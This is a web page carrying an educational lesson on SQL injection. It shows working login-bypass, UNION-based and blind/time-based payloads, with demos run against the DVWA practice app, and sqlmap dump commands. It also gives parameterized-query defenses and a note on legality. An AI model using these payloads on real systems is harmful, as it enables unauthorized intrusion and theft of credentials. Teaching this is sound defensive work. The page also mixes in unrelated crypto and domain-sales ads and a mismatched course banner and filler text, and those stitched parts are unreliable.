sql injection attack defense

SQL Injection: How It Works, How to Exploit It, and How to Prevent It

๐Ÿ“˜ cybersecurity-academy · Part 9 of 15 · Module 4 · Web Security
A free, step-by-step course on buying, selling & trading domains. View the full series →
SQL Injection: How It Works, How to Exploit It, and How to Prevent It
Key takeaways
  • SQL injection bypasses authentication, extracts entire databases, and can execute OS commands โ€” it is one of the most critical vulnerabilities.
  • UNION-based SQLi extracts data by appending a second query; blind SQLi extracts data one character at a time using true/false or timing.
  • Parameterized queries (prepared statements) are the complete fix โ€” never concatenate user input into SQL strings.

Understanding sql injection attack defense is the foundation of this guide. Below we break it down step by step so you can act with confidence.

SQL injection (SQLi) is one of the oldest and most devastating web vulnerabilities. It allows an attacker to inject malicious SQL code through user input, bypassing authentication, reading sensitive data, modifying records, or even executing operating system commands on the database server.

Despite being well-understood for over 20 years, SQLi remains in the OWASP Top 10 and is found in major applications every year. This lesson teaches you how to find it, exploit it, and prevent it.

Sql Injection Attack Defense: How SQL injection works

SQL injection happens when user input is concatenated directly into SQL queries instead of being parameterized:

๐Ÿ”ฌ Demo: Classic SQLi โ€” login bypass
# Vulnerable PHP code:
$query = "SELECT * FROM users WHERE username='$user' AND password='$pass'";

# Normal login:
Username: admin
Password: secret123
โ†’ SELECT * FROM users WHERE username='admin' AND password='secret123'
โ†’ Returns 1 row โ†’ login success

# SQLi attack โ€” enter this as the username:
Username: admin' --
Password: anything
โ†’ SELECT * FROM users WHERE username='admin' --' AND password='anything'
โ†’ The -- comments out the password check!
โ†’ Returns admin row โ†’ login bypassed!

# Even worse โ€” login as any user:
Username: ' OR 1=1 --
Password: anything
โ†’ SELECT * FROM users WHERE username='' OR 1=1 --'
โ†’ 1=1 is always true โ†’ returns ALL users โ†’ logged in as first user (usually admin)

This works because the application trusts user input and puts it directly into the SQL query. The single quote (') breaks out of the string context, and -- comments out the rest of the query.

UNION-based SQLi: extracting data from the database

Once you confirm SQLi exists, UNION-based injection lets you extract data from any table in the database:

๐Ÿ”ฌ Demo: Step-by-step UNION SQLi on DVWA
# Step 1: Find the number of columns
# Enter in the DVWA input field:
1' ORDER BY 1 --          โ†’ works
1' ORDER BY 2 --          โ†’ works
1' ORDER BY 3 --          โ†’ error! Only 2 columns.

# Step 2: Find which columns display data
1' UNION SELECT 'test1','test2' --
โ†’ If you see 'test1' and 'test2' on the page, both columns are visible

# Step 3: Get database version and current database
1' UNION SELECT version(),database() --
โ†’ 5.7.42-0ubuntu0.18.04.1 | dvwa

# Step 4: List all tables
1' UNION SELECT table_name,null FROM information_schema.tables WHERE table_schema='dvwa' --
โ†’ guestbook
โ†’ users      โ† this is what we want

# Step 5: List columns in the users table
1' UNION SELECT column_name,null FROM information_schema.columns WHERE table_name='users' --
โ†’ user_id, first_name, last_name, user, password, avatar

# Step 6: Extract usernames and password hashes
1' UNION SELECT user,password FROM users --
โ†’ admin    | 5f4dcc3b5aa765d61d8327deb882cf99 (MD5 of 'password')
โ†’ gordonb  | e99a18c428cb38d5f260853678922e03 (MD5 of 'abc123')
โ†’ 1337     | 8d3533d75ae2c3966d7e0d4fcc69216b (MD5 of 'charley')

In 6 steps we went from a simple input field to extracting every username and password hash from the database.

Blind and time-based SQL injection

Sometimes the application does not display query results on the page. Blind SQLi extracts data one character at a time by observing the application's behavior.

๐Ÿ”ฌ Demo: Time-based blind SQLi
# Boolean-based: page content changes based on true/false
1' AND 1=1 --   โ†’ normal page (true)
1' AND 1=2 --   โ†’ different page or empty (false)

# Extract database name character by character:
1' AND SUBSTRING(database(),1,1)='a' --   โ†’ false
1' AND SUBSTRING(database(),1,1)='d' --   โ†’ true! First char is 'd'
1' AND SUBSTRING(database(),1,2)='dv' --  โ†’ true! 'dv'
# Continue until: 'dvwa'

# Time-based: use SLEEP() when there's no visible difference
1' AND IF(1=1, SLEEP(5), 0) --   โ†’ page loads after 5 seconds (true)
1' AND IF(1=2, SLEEP(5), 0) --   โ†’ page loads instantly (false)

# Extract data with timing:
1' AND IF(SUBSTRING(database(),1,1)='d', SLEEP(5), 0) --
โ†’ 5 second delay = first character is 'd'

# Automate with sqlmap:
$ sqlmap -u "http://target.com/page?id=1" --dbs
$ sqlmap -u "http://target.com/page?id=1" -D dvwa -T users --dump

sqlmap automates the entire process โ€” it detects injection points, determines the database type, and extracts all data. But understanding manual techniques first is essential.

Explore Crypto Trading

Cryptocurrency trading is one of the fastest-growing financial markets โ€” open 24/7, globally accessible, and full of opportunity for those who learn the fundamentals first.

  • Trade spot, futures & copy-trading on one platform
  • Start with as little as $10 โ€” practice risk-free on the testnet
  • Built-in TradingView charts, grid bots & DCA tools

Free Crypto Trading Academy → ยท Domain Trading Academy →

Preventing SQL injection: parameterized queries

The fix for SQL injection is simple and absolute: never concatenate user input into SQL queries. Use parameterized queries (prepared statements) instead:

๐Ÿ”ฌ Demo: Vulnerable vs. secure code
# โŒ VULNERABLE โ€” string concatenation:
# PHP:
$query = "SELECT * FROM users WHERE id = '$id'";
# Python:
cursor.execute(f"SELECT * FROM users WHERE id = '{user_id}'")
# C#:
var cmd = new SqlCommand($"SELECT * FROM users WHERE id = '{id}'");

# โœ… SECURE โ€” parameterized queries:
# PHP (PDO):
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = ?');
$stmt->execute([$id]);

# Python:
cursor.execute('SELECT * FROM users WHERE id = %s', (user_id,))

# C#:
var cmd = new SqlCommand('SELECT * FROM users WHERE id = @id');
cmd.Parameters.AddWithValue('@id', id);

# Node.js:
db.query('SELECT * FROM users WHERE id = $1', [id])

# The parameter is NEVER part of the SQL syntax.
# Even if id = "1' OR 1=1 --", it's treated as a
# literal string value, not SQL code.

Additional defenses: input validation (is the ID an integer?), least-privilege database accounts, and Web Application Firewalls (WAFs) as a last line of defense.

When evaluating sql injection attack defense, start with the fundamentals: what problem it solves, who it serves, and how it compares to the alternatives buyers consider first.

Start with the fundamentals. Define who you are serving, the single outcome you want, and the budget you are comfortable committing before you compare any options.

WSOT 2026: Squad Leader Slots Are Open โ€” Up to $128,000 per Leader

Join Now

Frequently asked questions

Is SQL injection still relevant in 2024?

Absolutely. SQLi was found in major applications including MOVEit (2023, affected thousands of organizations) and Fortra GoAnywhere (2023). Legacy code, misconfigured ORMs, and developers who skip parameterization keep SQLi alive.

Can an ORM prevent SQL injection?

ORMs like Entity Framework, Hibernate, and ActiveRecord use parameterized queries by default, which prevents most SQLi. But they also offer raw SQL methods โ€” if developers use those with string concatenation, SQLi is back. Always review raw SQL calls.

Is sqlmap legal to use?

Only on targets you have explicit permission to test. Running sqlmap against a website without authorization is unauthorized access โ€” a crime in most jurisdictions. Use it against DVWA in your lab, or on bug bounty targets that allow automated tools.

Free Courses โ€” Learn New Skills

No sign-up · No fees · Learn at your own pace

Start Trading

Trade crypto and premium domains โ€” digital assets with real opportunities.

Find your name on Atom

DominantBrand curates the best premium, brandable names from Atom.com — the marketplace with a free AI appraisal, a USPTO trademark check, and secure escrow. Every listing even ships with a designed logo.

Browse Domains